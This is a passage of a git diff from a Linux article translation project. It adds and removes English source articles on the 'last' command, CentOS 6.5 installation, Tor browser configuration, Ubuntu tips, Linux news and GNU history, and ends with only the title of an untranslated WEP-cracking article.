how long the user logged in. + +### How to run Last ### + +You just need to type **last** on your console. Here’s the sample : + + $ last + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05) + +Here’s how to read last information : + +- The first column tell who are the user +- The second column give us information about how the user is connected + +> pts/0 (pseudo terminal) means that the user connect via remote connections such as SSH or telnet +> +> tty (teletypewriter) means that the user connect via direct connection to the computer or local terminal +> +> Exception for reboot activity the status will be shown is system boot + +- The third column **show where the user come from**. If the user connect from remote computer, you will see a hostname or an IP Address. If you see :0.0 or nothing it means that the user is connect via local terminal. Exception for reboot activity, the kernel version will be shown as the status +- The remaining columns display **when the log activity has happened**. Numbers in the bracket tell us how many hours and minutes the connection was happened + +### Some examples of Last command on day-to-day operation ### + +#### Limit the number of line shown #### + +When you have a lot of lines to show, you can limit how many lines do you want to see. Use **-n parameter** to do it. + + $ last -n 3 + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot 2.6.32-358.23.2 Mon Dec 2 09:20 - 13:25 (04:05) + +**-n parameter** will make last command to display 3 lines starting from the current time and backwards + +#### Don’t display the hostname #### + +Use **-R parameter** to do is. Here’s the sample : + + $ last -R + + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) + pungki tty1 Mon Dec 2 09:31 still logged in + reboot system boot Mon Dec 2 09:20 - 13:25 (04:05) + +As you see, now there is no information about hostname or IP Address + +#### Display the hostname in the last column #### + +To do this, we can use **-a parameter** + + $ last -a + + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162 + pungki tty1 Mon Dec 2 09:31 still logged in :0.0 + reboot system boot Mon Dec 2 09:20 - 13:25 (04:05) 2.6.32-358.23.2.el6.i686 + +Now the hostname information such as 10.0.76.162 will be placed in the last column. + +#### Print full login and logout time and dates #### + +You can use **-F parameter** for this. Here’s a sample. + + $ last -F + + leni pts/0 10.0.76.162 Mon Dec 2 12:32:24 2013 – Mon Dec 2013 13:25:24 2013 (00:53) + +#### Print specific user name #### + +If you want to trace specific user, you can print it specifically. Put the name of user behind last command. + + $ last leni + + leni tty1 Mon Dec 2 18-42 still logged in + leni pts/0 Mon Dec 2 12:32 - 13:25 (00:53) 10.0.76.162 + +Or if you want to know when **reboot** is done, you can also display it + + $ last reboot + + reboot system boot Mon Dec 2 09:20 - 16:55 (07:34) + reboot system boot Sun Dec 1 04:26 - 04:27 (00:01) + reboot system boot Wed Nov 27 20:27 - 01:24 (04:57) + reboot system boot Tue Nov 26 21:06 - 06:13 (09:06) + +#### Print spesific tty / pts #### + +Last can also print information about specific tty / pts. Just put the tty name or pty name behind the last command. Here are some sample outputs : + + $ last tty1 + + pungki tty1 Mon Dec 2 09:31 still logged in + pungki tty1 Mon Dec 2 04:26 – down (00:00) + pungki tty1 Mon Dec 2 04:07 – down (00:00) + pungki tty1 Sun Dec 1 18:55 – 04:07 (09:12) + + $ last pts/0 + + leni pts/0 10.0.76.162 Mon Dec 2 12:32 - 13:25 (00:53) + pungki pts/0 :0.0 Wed Nov 27 20:28 – down (04:56) + +When you see **down value** – such as the second line above – , it means that the user was logged in from specific time until the system is reboot or shutdown. + +#### Use another file than /var/log/wtmp #### + +By default, last command will parse information from **/var/log/wtmp**. If you want t**he last command** parse from another file, you can use **-f parameter**. For example, you may rotate the log after a certain condition. Let’s say the previous file is named **/var/log/wtmp.1** . Then the last command will be like this. + + $ last -f /var/log/wtmp.1 + +#### Display the run level changes #### + +There is **-x parameter** if you want to display run level changes. Here’s a sample output : + + pungki tty1 Mon Dec 2 19:21 still logged in + runlevel (to lvl 3) 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08) + reboot system boot 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08) + shutdown system down 2.6.32-358.23.2 Mon Dec 2 18:56 – 19:20 (00:23) + runlevel (to lvl 0) 2.6.32-358.23.2 Mon Dec 2 18:56 – 18:56 (00:00) + leni tty1 Mon Dec 2 18:42 – down (00:00) + +You can see that there are two entries of run level. Runlevel which has **to lvl 3** entry means the system is running on full console mode. No active X Window or GUI. Meanwhile, when the system is **shutdown**, Linux us **run level 0**. That’s why last show you **to lvl 0** entry + +#### View bad logins #### + +While **last** command logs successful logins, then **lastb** command **record failed login attempts**. You **must have root** access to run lastb command. Here’s a sample output from lastb command. Lastb will parse information from /var/log/btmp. + + # lastb + + leni tty1 Mon Dec 2 22:12 – 22:12 (00:00) + rahma tty1 Mon Dec 2 22:11 – 22:11 (00:00) + +#### Rotate the logs #### + +Since **/var/log/wtmp** record every single log in activities, the size of the file may grow quickly. By default, Linux will **rotate /var/log/wtmp** every month. The detail of rotation activity is put in /etc/logrotate.conf file. Here’s the content of my **/etc/logrotate.conf** file. + + /var/log/wtmp { +   monthly +   create 0664 root umtp +   minsize 1M +   rotate 1 + } + +And for **/var/log/btmp**, here’s default configuration of rotate activity + + /var/log/btmp { +   missingok +   monthly +   create 0600 root umtp +   minsize 1M +   rotate 1 + } + +### Conclusion ### + +You can combine those parameters to custom the output of last and lastb. All parameter **which run on last** command, **also run on** lastb command. For more detail, please visit last manual page by typing **man last** on your console. + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-last-command/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md new file mode 100644 index 0000000000..1bf0aba917 --- /dev/null +++ b/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md @@ -0,0 +1,44 @@ +Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking +================================================================================ +> Linux Mint has since responded to the comments by Oliver Grawert. [You can read them here][1]. + +**Users of the popular Ubuntu-based operating system Linux Mint should not use it for online banking, a Canonical [engineer has advised][2].** + +Mint’s decision to prevent packages with known security issues from updating – from the kernel and browser to the boot-loader and Xorg display server – leaves its users with a “vulnerable system”, says *Oliver Grawert*. + +> “Instead of just integrating changes properly with the packages in the ubuntu archive they instead suppress doing (security) updates at all for them. i would say forcefully keeping a vulnerable kernel browser or xorg in place instead of allowing the provided security updates to be installer makes it a vulnerable system, (sic)”. +> +> “I personally wouldn’t do online banking with it.” + +Grawert certainly isn’t alone in considering Mint a sub-par choice for the security conscious. Mozilla contributor and former Ubuntu member Benjamin **Kerensa* feels the same:** + +> “It is unclear why Linux Mint disables all of their security updates. I can say that it took them many months to get a fixed version of Firefox packaged while Ubuntu and Debian had already had security fixes in their package. +> +> This puts Linux Mint users at risk and is one of the key reasons I never suggest Linux Mint to anyone as an alternative to Ubuntu.” + +Oliver Grawert is no fly-by-night contributor. As one of Canonical’s Ubuntu Engineering bods he’s better placed than most to know what he’s talking about. + +> ‘But are Mint users in actual risk? Yes and no…’ + +But are Mint users in actual risk? + +Yes and no. The majority of security “holes” (for want of a better word) of the kind present in the packages that Mint’s developers steadfastly refuse to update are both documented and known, but rarely exploited by those of a nefarious breed. As such the “actual threat” posed to users remains, at least for now, largely a theoretical one. + +That’s to say that there are no known incidents of identify theft or worse resulting from use of Mint (or any other Ubuntu-based distribution with unpatched packages) through any of the exploits referenced by Grawert on the Ubuntu Dev Mailing List. + +But just because no-one has entered through the window left ajar thus far, isn’t to say someone won’t ever do it. + +**After seeing Ubuntu given a long and sustained kicking about its own (largely theoretical) privacy issues, it will be interesting to see if, now the boot is placed firmly on the other foot, the vehement concern for users’ wellbeing will extend to other distributions. ** + +Notice: We reached out to Linux Mint for comment & clarification but received no reply. + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:这个地址在发布的时候填写成“Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim”这篇文章的发布的地址 +[2]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html \ No newline at end of file diff --git a/sources/Canonical and ASUS Have Formed a Partnership in USA.md b/sources/Canonical and ASUS Have Formed a Partnership in USA.md new file mode 100644 index 0000000000..3f141ee448 --- /dev/null +++ b/sources/Canonical and ASUS Have Formed a Partnership in USA.md @@ -0,0 +1,29 @@ +Canonical and ASUS Have Formed a Partnership in USA +================================================================================ +**Canonical and ASUS have formed a partnership that would enable the hardware vendor to equip a couple of its laptops with the Ubuntu operating system.** + +ASUS is now providing the X201E and 1015E laptops with Ubuntu preinstalled in an effort to penetrate the education market. + +“As Ubuntu, and all the software bundled on it is free, there’s no licence fees in the purchase price which significantly reduces cost. This is perfect for students and institutions, both of whose finances can be hard pressed.” + +“Productivity applications are taken care of by LibreOffice. Familiar feeling, they offer all the functionality students and staff need and are fully compatible with existing files from the leading proprietary alternative. There are also bundled free applications for email and web browsing,” reads the official [announcement][1] on Ubuntu’s website. + +The two laptops are not exactly powerhouses and are aimed at productivity, and maybe multimedia content. The ASUS 1015E laptop features a Intel Celeron 847 1.1 GHz processor, 2 GB DDR3 Memory, a 320 GB 5400 rpm Hard Drive, and a 10.1-Inch screen. + +The other model, which is currently out of stock, ASUS X201E, is a little bit more powerful, but not by much: Intel Celeron 847 (1.1GHz) Sandy Bridge processor, 4 GB DDR3, 320 GB 5400 rpm Hard Drive, an 11.6-Inch screen, and Intel GMA HD graphics solution. + +“Beyond the basics thousands of other free, open-source applications are available to meet more specific needs from image processing and 3D animation to anti-virus or accounting.” + +“We know that effective personal computing is vital to students and Institutions, so it’s exciting for us to work with our partners to bring these low-cost, high-performance packages into the education sector,” is also stated in the announcement. + +Canonical announcement sends to a couple of Amazon pages, but if you’re interested in these products than you should know that they are available in a number of other stores. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Canonical-and-ASUS-Have-Formed-a-Partnership-in-USA-404483.shtml + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://insights.ubuntu.com/resources/article/asus-and-ubuntu-deliver-affordable-world-class-laptops-to-usa-education/ \ No newline at end of file diff --git a/sources/CentOS 6.5 desktop installation guide with screenshots.md b/sources/CentOS 6.5 desktop installation guide with screenshots.md new file mode 100644 index 0000000000..4dde092e14 --- /dev/null +++ b/sources/CentOS 6.5 desktop installation guide with screenshots.md @@ -0,0 +1,133 @@ + Vic020的WC +CentOS 6.5 desktop installation guide with screenshots +================================================================================ +### CentOS 6.5 released ### + +Following with the release of RHEL 6.5, [CentOS 6.5 has arrived][1] on 1st Dec and its time to play with it. For those who want to update their existing 6.4 systems to 6.5 simply use the "yum update" command and all the magic would be done. + +CentOS 6.5 has received some package updates as well as new features. Check out the [release notes][2] for detailed information. + +### Major updates ### + +> The Precision Time Protocol - previously a technology preview - is now fully supported. The following drivers support network time stamping: bnx2x, tg3, e1000e, igb, ixgbe, and sfc. +> OpenSSL has been updated to version 1.0.1. +> OpenSSL and NSS now support TLS 1.1 and 1.2. +> KVM received various enhancements. These include improved read-only support of VMDK- and VHDX-Files, CPU hot plugging and updated virt-v2v-/virt-p2v-conversion tools. +> Hyper-V and VMware drivers have been updated. +> Updates to Evolution (2.32) and Libre Office (4.0.4). + +### Download ### + +In this post we shall be installing it on the desktop. Head to either of the following urls + +[http://isoredirect.centos.org/centos-6/6.5/isos/][3] +[http://mirror.centos.org/centos/6.5/isos/][4] + +Select your machine architecture and it will then present a list of mirrors. Get into any mirror and then get the torrent file to download or the direct iso download link. There are multiple download options available like LiveCD, LiveDVD, Dvd1+2, Minimal and Netinstall. + +The minimal installer comes with a text based installer that would install CentOS with a shell and minimum software applications. Rest everything has to be installed from yum. + +The LiveCD/LiveDVD provide the desktop and gui installer and installs the CentOS system but does not provide any package selection options. + +The DvD1+2 set provide full set of all applications for those who need it. +And the netinstall would actually download the installation image and then install. + +In this post we shall use the LiveCD. It is around 650MB. +Although CentOS is used mostly on servers, having a desktop system can help to create a gui based environment with a setup similar to your server. We shall be trying out the minimal and netinstall installation methods in another post. + +### Install ### + +So now, its time to install CentOS onto your desktop system. Use either the LiveDVD or LiveCD to get it up and running fast. + +1. Put in the media and reboot. The boot menu will have many options with self explanatory names. Select Boot to get onto the Live desktop. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-1.png) + +2. Double clicks the Install icon on the desktop, to start the Anaconda installer. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-2.png) + +3. Click Next on the installer wizard. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-3.png) + +4. **Keyboard layout** - The next step would ask you to select the keyboard layout which should be USA for most english users. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-4.png) + +5. **Storage type** - After the keyboard layout, comes the option select the type of storage on which CentOS is to be installed. For local hard drives, its Basic storage. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-5.png) + +6. **Hostname** - In the next step the anaconda installer asks for a hostname. So fill it appropriately. If not sure, just enter something like mypc or hplaptop. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-6.png) + +7. **Timezone** - Then comes the timezone selection + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-7.png) + +8. **Root Password** - Next in turn is the root password which, as you know should be a strong one. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-8.png) + +9. **Formatting** - Now the wizard would like to know, how you wan't to format the storage device. If you want to format the drive yourself, then select "Custom Layout" and create partitions as needed. For the sake of this tutorial we are selecting the first option, that is to use the entire device and let CentOS format it as it likes. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-9.png) + +10. **Copying files** - Now the installer will start copying files. Nothing to do here except wait and watch. The LiveCD installer basically copies the CD image to the hard drive. You do not get any option to select packages to install or omit. Also the liveCD somes with a minimal collection of software and applications. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-10.png) + +### Post install configuration ### + +11. After the installation completes and reboots, the welcome wizard would come up which would further configure the system. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-11.png) + +12. License Agreement - Like all software centos too comes with a license that is very minimal and only a few lines. So accept it. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-12.png) + +13. **Create User** - Now its time to create a user account for yourself to be able to use the system. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-13.png) + +14. **Current date & time** - Now input the current date and time and select the option to synchronize over the network. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-14.png) + +15. **Kdump** - This is the last step of the welcome wizard that asks whether kdump should be enabled or not. It is a good idea to enable it. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-15.png) + +### Start CentOS 6.5 ### + +After the previous step, the system would be rebooted, and finally comes the login page. + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-login.png) + +And after login comes the shiny new CentOS 6.5 desktop + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-desktop.png) + +Hope you enjoyed reading the installation guide. Leave your comments and questions below. + +### Resource ### + +CentOS 6.5 release notes +[http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5][5] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/centos-6-5-installation-screenshots/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lists.centos.org/pipermail/centos-announce/2013-December/020032.html +[2]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5 +[3]:http://isoredirect.centos.org/centos-6/6.5/isos/ +[4]:http://mirror.centos.org/centos/6.5/isos/ +[5]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5 \ No newline at end of file diff --git a/sources/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md b/sources/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md new file mode 100644 index 0000000000..2499d6355e --- /dev/null +++ b/sources/Configure Your Browser To Use Tor On Ubuntu or Debian or Linux Mint.md @@ -0,0 +1,72 @@ +Configure Your Browser To Use Tor On Ubuntu/Debian/Linux Mint +================================================================================ +**Tor**, **T**he **O**nion **R**outer, is a network of Virtual Tunnels that allows users to communicate securely and as well as anonymously over Internet. Tor allows organizations and individuals to share information over public networks without compromising their privacy. We can use Tor to keep websites from tracking us and also our family members, or to connect to news sites, instant messaging services, or the websites which are blocked by the Internet providers and Network Administrators. + +Tor was originally designed, implemented, and deployed as a third-generation [onion routing project of the U.S. Naval Research Laboratory][1]. It was originally developed with the U.S. Navy in mind, for the primary purpose of protecting government communications. Today, it is used every day for a wide variety of purposes by normal people, the military, journalists, law enforcement officers, activists, and many others. + +In this quick how-to let us learn how to use Tor with our browsers. The steps provided here were tested on Ubuntu 13.04 Desktop, but it should work on all Debian/Ubuntu and its derivatives. + +### Install Tor & Vidalia On Ubuntu / Debian / Linux Mint ### + +Tor is available in the default repositories of Debian/Ubuntu, but they might be bit outdated. So add Tor repository to your distribution source lists. + +Edit file **/etc/apt/sources.list**, + + $ sudo nano /etc/apt/sources.list + +Add the following lines depending upon your distribution version. As i am testing this on my Ubuntu 13.04 desktop, i added the following lines. + + [...] + deb http://deb.torproject.org/torproject.org raring main + +Save and close the file. If you’re using Ubuntu 13.10, then the lines should be, + + deb http://deb.torproject.org/torproject.org saucy main + +For Debian 7 Wheezy, + + deb http://deb.torproject.org/torproject.org wheezy main + +Add the gpg key using following commands: + + $ gpg --keyserver keys.gnupg.net --recv 886DDD89 + $ gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - + +Update the repository list and install vidalia using commands: + + $ sudo apt-get update + $ sudo apt-get install tor vidalia deb.torproject.org-keyring + +During installation, you’ll be asked which user should be able to control Tor service. Select the user and click Ok. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/sk@sk-_013.jpg) + +Now Vidalia is installed and running. + +### Configure Firefox Browser ### + +Open your browser. Go to **Edit -> Preferences -> Advanced -> Network ->Settings**. Select manual Proxy Configuration. In the SOCKS Host column, enter **localhost** or **127.0.0.1** and in the port column enter **9050** as shown in the below screenshot. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/Firefox-Preferences_015.jpg) + +Now point your browser with URL **https://check.torproject.org/**. You will see a green message that indicates: “**Congratulations. This browser is configured to use Tor**”. Red message indicate that Tor is not setup. Refer the following screenshot. + +![Are you using Tor? - Mozilla Firefox_014](http://180016988.r.cdn77.net/wp-content/uploads/2013/12/Are-you-using-Tor-Mozilla-Firefox_014.jpg) + +The same settings are applicable for all browsers, just open the Browser settings/preferences window, find the Network settings, Enter **127.0.0.1** in proxy server column and **9050** in port box. To disable Tor, Select **Use System Proxy settings** on browser settings. + +**Note**: If you want to use Tor for anonymous web browsing, please read our article about [Tor Browser Bundle][2]. It comes with readily configured Tor and a browser patched for better anonymity. To use SOCKS directly (for instant messaging, Jabber, IRC, etc), you can point your application directly at Tor (localhost port 9050), but see [this FAQ entry][3] for why this may be dangerous. + +That’s it. Good Luck! Stay Safe! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/configure-browser-use-tor-ubuntu-debian-linux-mint/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.onion-router.net/ +[2]:http://www.unixmen.com/protect-your-online-privacy-with-tor-browser/ +[3]:https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#SOCKSAndDNS \ No newline at end of file diff --git a/sources/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md b/sources/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md deleted file mode 100644 index 10d2df1a72..0000000000 --- a/sources/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md +++ /dev/null @@ -1,42 +0,0 @@ -[scusjs占坑]Daily Ubuntu Tips – Adding User Accounts In Ubuntu -================================================================================ -Ubuntu is a multi-user operating system. Multi-user OS means that more than one users are access the computer with separate and individual profile with home folder, documents, and settings. User A can login and make changes to his/her profile without affecting user **B’s** profile. - -So, instead of creating a single shared account for everyone in your household, you can create an individual account for each user who will be using your home computer. This brief tutorial is going to show you how to do that when using Ubuntu. - -To get started, click on the far fight of the menu bar and select the gear icon, then click System Settings. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable4.png) - -When that opens, click ‘**User Accounts**’ from the bottom of your screen as shown below - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu.png) - -You need administrative privileges to add user accounts to Ubuntu. If you do, click Unlock before adding accounts. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu1.png) - -Next, click the plus ( + ) button to create a user account. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu2.png) - -There are two primary account types when creating new users. **Standard User** and **Administrator**. User with administrative rights can delete users, install software and drivers, change the date and time and can make changes that may render the computer unstable. - -Standard won’t be able to make these changes. He/she can only change stuff in his/her profile. - -When you enter the full name of the user, the username will automatically be selected for you based on his full name. It’s ok to keep it but you can change it if you like. When you’re done, click Create to create the account. - -By default, the account is disabled and will remain so until you change/add a password. To enable the account, click the Account disabled button, then type a new password. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu3.png) - -If you want to user to automatically logon without typing password, you can choose the drop-down option while setting his/her password to logon automatically. - -Enjoy! --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts-ubuntu/ - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) diff --git a/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md b/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md index 6abfe2f68b..6dfb636adf 100644 --- a/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md +++ b/sources/Daily Ubuntu Tips–Change The Language You Use In Ubuntu.md @@ -1,4 +1,3 @@ -occupied by rogetfan Daily Ubuntu Tips–Change The Language You Use In Ubuntu ================================================================================ Ubuntu, a modern and powerful operating system also allows you to use your desktop in dozens of other languages. By default, there are few language packs installed when you first setup Ubuntu. If you want Ubuntu to support more languages, you must install additional language packs. Not all languages are support, but most languages that are in used and written are supported. This brief tutorial is going to show you how to make this happen. diff --git a/sources/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md b/sources/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md deleted file mode 100644 index a5fa169b95..0000000000 --- a/sources/Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA.md +++ /dev/null @@ -1,35 +0,0 @@ -【SCUSJS占坑】Daily Ubuntu Tips–Update To LibreOffice Latest In Ubuntu Via PPA -================================================================================ -For every new Ubuntu you install, you’ll also have LibreOffice, the office productivity tool that allows you to create and manage documents. Most people are aware of Microsoft Word, Excel, PowerPoint and Outlook but few know about LibreOffice. - -LibreOffice is made available by volunteers around the world and is backed by a charitable foundation. It is the primary office productivity tool in the Linux community and it’s free. It can be installed on Windows, Mac OS X and Linux computers. - -Just today, a new release was made available to the public. Windows, Mac OS X and Linux users can go directly to the download page and download the latest release. - -An advantage Ubuntu users have is they can add LibreOffice’s software repository to your their computer to install the latest releases. This is useful if you wish to quickly get every latest release when it’s made available. - -The current release family of LibreOffice is 4.1. Every subsequent release will be available instantly in the 4.1 repository until a new mainline is launched which maybe version 4.2. - -So, to always upgrade automatically in Ubuntu, add the software repository below. - - sudo add-apt-repository ppa:libreoffice/ppa - -Next, run the commands below to upgrade to the latest version LibreOffice. - - sudo apt-get update && sudo apt-get dist-upgrade - -That’s it. When you add the repository above and update your system, Ubuntu will automatically download and install LibreOffice latest releases. - -Windows and Mac OS X users may upgrade directly from within the program suite or download it directly from the web. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/libreoffice-upgrade-ubuntu.png) - -Enjoy! - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsupdate-to-libreoffice-latest-in-ubuntu-via-ppa/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/sources/Gnu--toward the post-scarcity world – the Free Software Column.md b/sources/Gnu--toward the post-scarcity world – the Free Software Column.md new file mode 100644 index 0000000000..43b46edca0 --- /dev/null +++ b/sources/Gnu--toward the post-scarcity world – the Free Software Column.md @@ -0,0 +1,39 @@ +Gnu: toward the post-scarcity world – the Free Software Column +================================================================================ +**It is 30 years since Richard Stallman announced that he was going to write a complete UNIX-compatible software system called GNU, pioneering the idea of free and open source software, but the struggle continues ** + +![](http://www.linuxuser.co.uk/wp-content/uploads/2011/04/Richard-Hillesley-200x150.jpg) + +Gnu was not the first software to be distributed free, but became the first manifestation of a lasting and “explicit political campaign to make software free”. + +In the GNU Manifesto, Stallman expressed the romantic ideal. “In the long term,” he wrote, “making programs free is a step toward the post- scarcity world, where nobody will have to work very hard just to make a living. People will be free to devote themselves to activities that are fun, such as programming, after spending the necessary ten hours a week on required tasks such as legislation, family counselling, robot repair and asteroid prospecting…” + +In the real world, GNU grew directly out of ‘the EMACS commune’ and the disputes that arose around James Gosling’s version of Emacs for UNIX. In the ‘Emacs Manual for ITS Users’, dated 22 October 1981, Stallman was already expressing the ideas that gave rise to the GPL. + +“Emacs does not cost anything,” he wrote. “Instead, you are joining the Emacs software-sharing commune. The conditions of membership are that you must send back any improvements you make to Emacs, including any libraries you write…” + +Initially, Gosling allowed free distribution of the source code to Gosling EMACS, to which others had contributed. However, in April 1983, as Stallman tells it (bit.ly/d58ndg): “He stabbed everyone in the back by putting copyrights on it, making people promise not to redistribute it, and then selling it to a software house.” + +Stallman was hurt by what he saw as a betrayal, and said of Gosling, who later became known as the father of Java, “My later dealings with him personally showed that he was every bit as cowardly and despicable as you would expect from that history. “ + +The recriminations and legal threats surrounding these events led directly to the founding of GNU, and later, to the GPL. Gosling Emacs was soon eclipsed by GNU Emacs. The first tangible version of the GPL emerged as ‘the GNU Emacs copying permission notice’ in 1985, and went through several versions before the release of GPL 1.0 in 1989. + +Stallman later recounted that when he founded GNU, people had said, “Oh, this is an infinitely hard job; you can’t possibly write a whole system like UNIX. How can we possibly do that much? It would be nice, but it’s just hopeless.” But his response was that he was would do it anyway. “This is where I am great. I am great at being very, very stubborn and ignoring all sorts of reasons why you should change your goal, reasons that many other people will be susceptible to. Many people want to be on the winning side. I didn’t give a damn about that. I wanted to be on the side that was right, and even if I didn’t win, at least I was going to give it a good try.” + +“It’s not about money”, he said in 1999, “it’s about freedom. If you think it’s about money you’ve missed the point. I want to use a computer in freedom, to co-operate, to not be restricted or prohibited from sharing. The GNU/Linux system is catching on somewhat more now. The system is becoming popular for practical reasons. It’s a good system. The danger is people will like it because it’s practical and it will become popular without anyone having the vaguest idea of the ideals behind it, which would be an ironic way of failing.” + +Free software owes much to the obduracy and insights of Stallman, but as he suggested in his history of the GNU project, the struggle and the cause of free software is just as indebted to the contributions of others, and threats to its existence continue. + +“I have done most of my work while anxious about whether I could do the job, and unsure that it would be enough to achieve the goal if I did. But I tried anyway, because there was no one but me between the enemy and my city. Surprising myself, I have sometimes succeeded. + +“Sometimes I failed; some of my cities have fallen. Then I found another threatened city, and got ready for another battle. Over time, I’ve learned to look for threats and put myself between them and my city, calling on other hackers to come and join me. + +“Nowadays, often I’m not the only one. It is a relief and a joy when I see a regiment of hackers digging in to hold the line, and I realise, this city may survive – for now. But the dangers are greater each year.” + +-------------------------------------------------------------------------------- + +via: http://www.linuxuser.co.uk/features/gnu-toward-the-post-scarcity-world-the-free-software-column + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md b/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md new file mode 100644 index 0000000000..3a948774ba --- /dev/null +++ b/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md @@ -0,0 +1,126 @@ +[翻译中]by stduolc +How to Crack a Wi-Fi Network's WEP Password with BackTrack +================================================================================ 